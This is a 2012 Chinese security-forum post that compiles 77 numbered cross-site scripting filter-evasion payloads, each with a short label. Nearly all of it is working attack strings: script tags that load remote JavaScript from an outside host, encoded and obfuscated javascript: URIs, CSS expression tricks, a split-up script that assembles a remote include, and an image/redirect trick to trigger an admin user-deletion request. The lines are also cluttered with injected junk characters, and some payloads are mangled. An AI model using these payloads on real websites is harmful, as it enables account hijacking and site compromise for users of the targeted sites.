找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3686|回复: 0
打印 上一主题 下一主题

xss跨站脚本攻击汇总

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:56:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。: V3 W9 }' M2 z' V2 t1 V* J" Q# S! U
  \* M9 ^) a2 A7 }! }
(1)普通的XSS JavaScript注入4 Z0 E4 f1 P6 ]' g& l" Z- g& Y( w' a
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
' l6 c7 w; J+ ^+ u) C
6 u" g- g6 J* f% t% u  p (2)IMG标签XSS使用JavaScript命令
3 k' @( h/ v0 M6 N+ T <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
  w4 e/ u, c; E. }- I6 W$ b) T  ^+ I' J$ T
(3)IMG标签无分号无引号
% c7 H3 R0 j: h) A# b' ^( m <IMG SRC=javascript:alert(‘XSS’)>! v6 o% C* p) I# d5 q; |, j

( @( @7 f6 f4 L5 B- f# @8 }& r (4)IMG标签大小写不敏感
3 T+ L$ u5 V2 I3 e+ p0 U& v) Q <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
' s0 P: }) l. l" h
! i8 S1 N0 E( b (5)HTML编码(必须有分号)
4 `( j4 x6 a2 d5 I$ R( u0 U <IMG SRC=javascript:alert(“XSS”)>
9 {1 e6 Y$ z: E' M5 p' ?" m4 p" O* P) [* k7 L& I
(6)修正缺陷IMG标签
- q- E" @' j$ U" i; Y7 q- ~ <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
/ D$ r4 \8 a* m: Z. {6 E# I
1 j# _* r- N! M% f, `2 g (7)formCharCode标签(计算器)/ U( K7 ], f3 p. A/ h
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
# j$ p; G2 \! W* b2 H, s( l8 q( i3 r: y5 c0 N( _
(8)UTF-8的Unicode编码(计算器)
/ t/ M- I( @: M* n( b <IMG SRC=jav..省略..S')>
9 {/ ^$ }/ S; Y8 B8 y5 m0 w) H! q6 h  a% r4 a
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
7 v' \- M8 `: Y' `( H9 e; w <IMG SRC=jav..省略..S')>
1 ~! l& q- F5 @
' v* @4 N3 V! m4 n! C (10)十六进制编码也是没有分号(计算器)3 v2 `; [) T: N2 k% `% h
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
$ I# t0 A7 g, C. d4 K+ k5 m- M
  Y! @3 `+ ?' x3 y8 @ (11)嵌入式标签,将Javascript分开
+ K4 u" d% W1 I4 N4 [0 ^& T <IMG SRC=”jav ascript:alert(‘XSS’);”>
8 U6 u* M5 p- \# O
) T# u- B/ ^1 Z) e (12)嵌入式编码标签,将Javascript分开
/ i5 v: s, I2 J% @2 |2 ~& W) K+ a <IMG SRC=”jav ascript:alert(‘XSS’);”>, Y/ N1 Y6 k7 G; D6 F

1 X+ d( E1 Q9 F2 Y (13)嵌入式换行符2 L, S0 u' p6 l8 l4 i! G5 Y6 `3 E
<IMG SRC=”jav ascript:alert(‘XSS’);”>
& v$ A* U: @4 c: c$ t. X$ m# T& [/ n9 q* L2 v; {
(14)嵌入式回车5 T8 ], J- U' ?$ y
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! e. m# C+ @! P2 m! ]2 k' s* |* s  Z
(15)嵌入式多行注入JavaScript,这是XSS极端的例子. T( W! m( ]2 H6 p& W7 N; J0 H: h
<IMG SRC=”javascript:alert(‘XSS‘)”>
4 \3 k% D/ S: a
4 C  R4 l' F1 d/ z, i (16)解决限制字符(要求同页面)/ R1 q; f/ W3 m6 [2 r0 x2 z
<script>z=’document.’</script>9 a8 \% t. Z" g9 r
<script>z=z+’write(“‘</script>6 g* z8 M" @( _; }
<script>z=z+’<script’</script>& Z, U! f( R' }' z2 c
<script>z=z+’ src=ht’</script>* j0 @, Z6 R9 O. u, E- \. N( g1 ]
<script>z=z+’tp://ww’</script>: x) s4 m5 Q2 K  t- [! J3 U) f2 s
<script>z=z+’w.shell’</script>7 a8 M  o+ V5 W; a4 E4 ]9 J
<script>z=z+’.net/1.’</script>
- C4 E$ j+ h( A& `* s+ X2 F- h% P9 { <script>z=z+’js></sc’</script>2 i) d' U1 b1 G9 E7 d
<script>z=z+’ript>”)’</script>% Q7 o8 j# f! Z0 ?) T3 {+ F' b/ {
<script>eval_r(z)</script>
$ |; x9 Q! H* y/ G3 \' i% G2 R% i1 T. W' M$ I
(17)空字符/ U* _& \3 X! ?5 x
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out9 Y+ q7 q" o: X8 w. x) D
0 U- F+ f/ g9 f' Q
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用& `/ C6 ]) \2 N% ^9 o
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
& z/ h4 s- f0 |3 b- _% _' w. W
. x/ X% Y2 m8 A( i& t) T0 d (19)Spaces和meta前的IMG标签. P7 G1 I. n) ?% q  u
<IMG SRC=”   javascript:alert(‘XSS’);”>
3 E: j) t; l9 l% ^- s
, k$ K& C4 [; k0 p (20)Non-alpha-non-digit XSS
6 N3 x$ V7 c3 d7 K <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>; a" f' j# c) P# K' Y: r  f

# _- {& V: Y6 Q$ i3 w (21)Non-alpha-non-digit XSS to 2- d. b' u/ H- Y' s) x# [
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>2 a# V: I# v1 [

1 ]* e2 ~. u( ]4 }" \+ U! e (22)Non-alpha-non-digit XSS to 37 O# h0 M! l3 m  D. F
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
" I0 y2 C" ~2 C+ `9 i+ r7 c( V# |' J3 d3 \3 ]9 F
(23)双开括号/ I' F2 o8 U; D8 j7 H+ W
<<SCRIPT>alert(“XSS”);//<</SCRIPT>+ R; Q/ t7 T3 I7 A. v* X$ N

$ l6 f: g$ m/ Z' h* V (24)无结束脚本标记(仅火狐等浏览器)1 q+ n, h3 X" T
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
; t$ K7 z3 M# o6 F3 C3 K
6 s, e6 v. v5 e% o+ e# y (25)无结束脚本标记2" ~1 w9 Z$ l& T& J
<SCRIPT SRC=//3w.org/XSS/xss.js>
. P5 B1 ]- y  g" r5 z8 W) V
9 O) `& R/ P8 Q9 k% O; l0 | (26)半开的HTML/JavaScript XSS
7 Z9 p" |2 Y5 n0 m! w <IMG SRC=”javascript:alert(‘XSS’)”
0 C. p+ B" w- N; h1 J5 J! U: r! M2 W' m/ o7 p5 y9 {) e4 h$ z
(27)双开角括号/ _% A; p: x7 R
<iframe src=http://3w.org/XSS.html <: z; X' s1 v( \7 t: b' n( x

) I, e/ A( y& [/ T% `/ [" ]+ [& q (28)无单引号 双引号 分号
' P& U: W7 [9 l" r! m& n <SCRIPT>a=/XSS/! {4 _4 X$ y2 b
alert(a.source)</SCRIPT>  a6 w2 Q1 L. y  X5 u# c- C+ y$ }' a

* j" n% [9 f" |0 u, e4 \ (29)换码过滤的JavaScript
# w; O0 S& N7 d3 s) j$ ^' e( x \”;alert(‘XSS’);//- ~( M. N% a' |) R

% E% s; p0 T, O) _ (30)结束Title标签, J& ?1 M" Z- l, C
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
, Q- Q: c) S- }/ [
+ r3 ]9 Z! Y4 L& a* ~0 G8 M (31)Input Image
" E) z  l6 W' n4 y, k' s9 g# ^( y <INPUT SRC=”javascript:alert(‘XSS’);”>
9 Y" m) ~% \2 s% l/ W  Q
$ m3 R# ]3 }6 C' Q, X (32)BODY Image4 B4 X" T: z2 W# S# D" m
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
( n7 q' t% ]  E& B6 p# @7 F2 P8 U  N& g/ K8 K
(33)BODY标签
0 \7 e0 v- U+ \ <BODY(‘XSS’)>) i& N3 Q) ~. R( X6 n+ ]7 [% @

1 P4 g$ t9 a- j. Y  U0 p# `8 D (34)IMG Dynsrc
- b. `' o: d4 ]9 ]" V3 f, `) ` <IMG DYNSRC=”javascript:alert(‘XSS’)”>! J( [( ?! f4 ?, a6 i+ @$ V, h
0 i% f+ b0 ?( X0 A; {- O* M( {
(35)IMG Lowsrc6 M0 b' @( g5 R6 H* B
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
& ]" B) Q6 @) w0 ^( |+ O2 ]- u
! S$ I: \- K, b. ~9 B: c9 ? (36)BGSOUND
$ ^+ O( l) l+ ]7 h* T) A! e) N/ t% H <BGSOUND SRC=”javascript:alert(‘XSS’);”>
4 {: J5 R, {  a% k
4 R' n9 y3 J9 u+ W1 j4 ^1 M5 u4 G (37)STYLE sheet+ @; ]. ~* b8 C8 q  N) Z
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>* n( n# j& l& p7 {& T

1 j% b5 ?; l6 h: m8 u/ h (38)远程样式表$ h% z' Y2 s8 M) H; `& Q
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
8 l: \  r% _  Q5 u# B$ B9 F) m6 i- ]- ]
(39)List-style-image(列表式)1 p/ L! r' B; R2 \; s! s2 G
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
* C5 J% B1 }( K6 v
2 |  R* B9 C0 Q, z& p: M* N (40)IMG VBscript
: |9 g" Y4 t$ D5 f  {- j6 u. s: H <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS5 h! R8 _7 S/ F( F0 v( A: W8 {3 b
0 x8 l' X  x. X+ w" h
(41)META链接url
+ ]8 i' p' O7 P' B6 m+ e; ] <META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>/ v$ q; _' m3 \6 Y8 t5 m- Z" a
% b3 F7 \8 d4 v4 K. E6 |
(42)Iframe
( I1 T& x4 k' A4 W4 l  }9 b  C' f <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>$ Z# k( }2 z, s( l  i- c& V

& c' T1 e6 x: L( S6 W. D (43)Frame
# l/ R2 Y) j7 {- ` <FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>1 Y: c8 e8 E! Q$ s6 B

: ?2 Y* a4 r  \% J% H5 s (44)Table
! }  H5 O2 T0 I5 z8 R$ M <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>& J5 ^4 L9 w! ^" @" G
+ l/ b9 @( Y  y! G! D1 `" Q
(45)TD
# W) c7 r, o6 E1 G2 } <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
3 b# {0 S* P3 Q% A4 W/ K* Z7 Q7 }# n8 H4 k, y* t2 [
(46)DIV background-image
+ c' F. J8 m/ u5 ^, `, |) F4 u. B* } <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
) ~/ \! j8 L$ b$ r$ c6 `" }- K/ L  M8 G; K. _% U
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)2 y* y/ d8 p7 T" r+ `9 \8 y% Z$ t
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
+ V$ _0 V8 l% E% B' \/ T; P8 E1 N  V- t8 l0 ]
(48)DIV expression- d# L4 g6 K# z
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>3 v0 n+ y: f# i$ R

* s: a! ]. b, |- a4 d, o& R. E9 C (49)STYLE属性分拆表达
* t+ {8 z9 A" s' w <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>3 }6 O) t$ B* K+ C
2 z1 q5 l( {  p) P6 E& Q% q
(50)匿名STYLE(组成:开角号和一个字母开头)' Z5 M4 n& U, Y
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
& V% {  K8 F. L2 o/ S1 @
1 ]* A' L" H1 Z5 M. r (51)STYLE background-image
- R* Z! Y! W5 V, F& p5 e <STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
  W1 v- m0 G, Y5 N# e  y$ w" R+ k. K5 B+ E6 o% T
(52)IMG STYLE方式, J  J, R: {0 a, a( x
exppression(alert(“XSS”))’>
! o) o6 g1 l6 P9 {2 b+ [2 e" ^. ^8 [; S$ E$ r5 J& X
(53)STYLE background
* r4 e5 c6 }! l% [. O+ v <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>/ H7 R# h4 J. C  {; C
5 G6 }$ S6 c: R" ^
(54)BASE
6 C) b' k4 N& B <BASE HREF=”javascript:alert(‘XSS’);//”>
* I9 B! _- l! t) ~8 G9 \2 l: s8 h6 ^" c2 W1 n% @4 \5 N
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS* [' Z2 S/ f) S5 v
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
) l, O+ S5 x" V- t5 U8 `$ O
  V1 k$ h, j0 E( H8 F; P  ^ (56)在flash中使用ActionScrpt可以混进你XSS的代码* w. r2 b+ A" p# g! F% v7 F- P! J
a=”get”;+ k/ e7 W; B5 s, N0 Q# S% Y2 p) a
b=”URL(\”";
3 u, P7 e7 f7 { c=”javascript:”;# E7 q9 c& _$ E# k0 d9 u: {
d=”alert(‘XSS’);\”)”;( u8 [) M2 a% o/ A7 g: u3 K
eval_r(a+b+c+d);& j6 d9 |( L) S9 \2 u; l. ~

$ I( d9 h. c% ^ (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上. W& F% e7 z+ x
<HTML xmlns:xss># Q/ E$ w9 C& j7 z# A5 Z% Q
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>; J# s) C/ e* S1 m. ?' E* d' B
<xss:xss>XSS</xss:xss>
( s% i7 i& W  G. M' E </HTML>5 h4 W, G$ P7 S6 ]) o  C1 m
" m( [" W) Y8 ~7 D; ]1 e8 P. p& E
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
# k; _5 Y. K- O) c: v' g" _ <SCRIPT SRC=””></SCRIPT>
5 [- s8 n# ?/ Z/ C" x; f, m4 h
& E4 e4 {& Y) z+ e8 A+ L% d" r (59)IMG嵌入式命令,可执行任意命令' w! ~3 t) i/ m6 J1 b9 l
<IMG SRC=”http://www.XXX.com/a.php?a=b”>2 p1 V6 M5 g: q
- o9 G$ R( k* D! \
(60)IMG嵌入式命令(a.jpg在同服务器)# C1 ~. _( H% D; |" w( w3 ~7 J
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
4 y( }  E" x- G$ s' N' X% j, R+ l$ V' \: _7 ^# L0 }
(61)绕符号过滤# p2 V6 K8 }' a, P
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
- ?) M0 N: q7 d$ M, p' H6 L
( `  v4 u, z, B1 {* D (62)3 d; m. X8 k* J7 Z
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>' a: |& g) t6 s9 z. _: j
" `9 A' L8 e" p$ o& [7 v
(63)! k# l2 E5 {' k, ?: o- k2 d4 \
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
) M1 x4 B+ H) T& b" b1 `+ i+ F5 q' v3 a9 g
(64)
' A) y' T' V( X+ E( e <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>* r7 g  O# ^. j* d' r. {2 {
, ?  M- ]5 s0 `9 b" V
(65)
( ^# e; N/ ~* v6 R+ l6 d <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
$ D/ f) ~1 D  \$ G+ y; e( p; F
( b! y) g! q) g% n+ \0 S5 w (66)
. H# t3 N  G( O# \/ x% B <SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
1 \- U1 e+ S2 D: M, i. p3 l! S- u2 q" m6 h! p
(67)
2 y8 A7 v* c0 Z7 E" @6 E <SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>% U  z( o+ `; t( [( v. K/ ~

. j7 F- H4 N! v$ \ (68)URL绕行
8 y( u' G+ J. Y7 a' y5 g2 M <A HREF=”http://127.0.0.1/”>XSS</A>* S! N6 k7 R8 W) Q1 ]! \

  \) U9 u9 v) ^( g (69)URL编码4 Y3 `) b7 Y9 E; ]
<A HREF=”http://3w.org”>XSS</A>+ o0 k  o$ ~; C

" v# j9 x2 K+ f* T+ [) t4 f$ A) G% ` (70)IP十进制
0 U) k% b- t  _ <A HREF=”http://3232235521″>XSS</A>! F, t; j  K# E, Z- r

: K2 E5 K9 A( v9 ~. C, j, F3 I (71)IP十六进制
1 F/ X- r( _# R% _4 W9 J <A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
4 k; z% N. u( j# l7 D6 ^8 x9 A$ r" |8 _/ D6 i& @( Y4 B1 H3 v
(72)IP八进制) {! T7 F8 l( W: v
<A HREF=”http://0300.0250.0000.0001″>XSS</A>/ Y; {) R  P" f7 L1 l: B5 b) H$ g

$ @1 x& o0 J9 h (73)混合编码
% J% A! h- t+ S# g- F+ Y$ m  x, G* H <A HREF=”h, q- J/ m) Q$ r4 p8 c2 V  c9 G
tt p://6 6.000146.0×7.147/”">XSS</A>
' {: B: |9 ^8 z9 {2 r! @& ?* g) I" Y; Y) ]% J5 h7 y
(74)节省[http:]
- W( l5 T+ r  T$ N6 j  D/ g <A HREF=”//www.google.com/”>XSS</A>' Q! `1 M1 O8 E. v+ [- R2 K+ l+ K1 _
1 X1 b2 q! B% d9 |  j. ~
(75)节省[www]; r$ h' r, z2 ^! e# ~1 f5 P2 ]- F
<A HREF=”http://google.com/”>XSS</A>
: y" M8 M8 K( |6 I8 [4 Z5 V. g$ I2 e- x4 I- {
(76)绝对点绝对DNS
1 c; b4 M+ v) j' p/ x" j4 H# Z <A HREF=”http://www.google.com./”>XSS</A>
5 ^# }- B% Y0 z' p* i8 G
, J: z0 J# d6 S (77)javascript链接$ C8 x7 ?& h( j" E5 i( c7 T
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表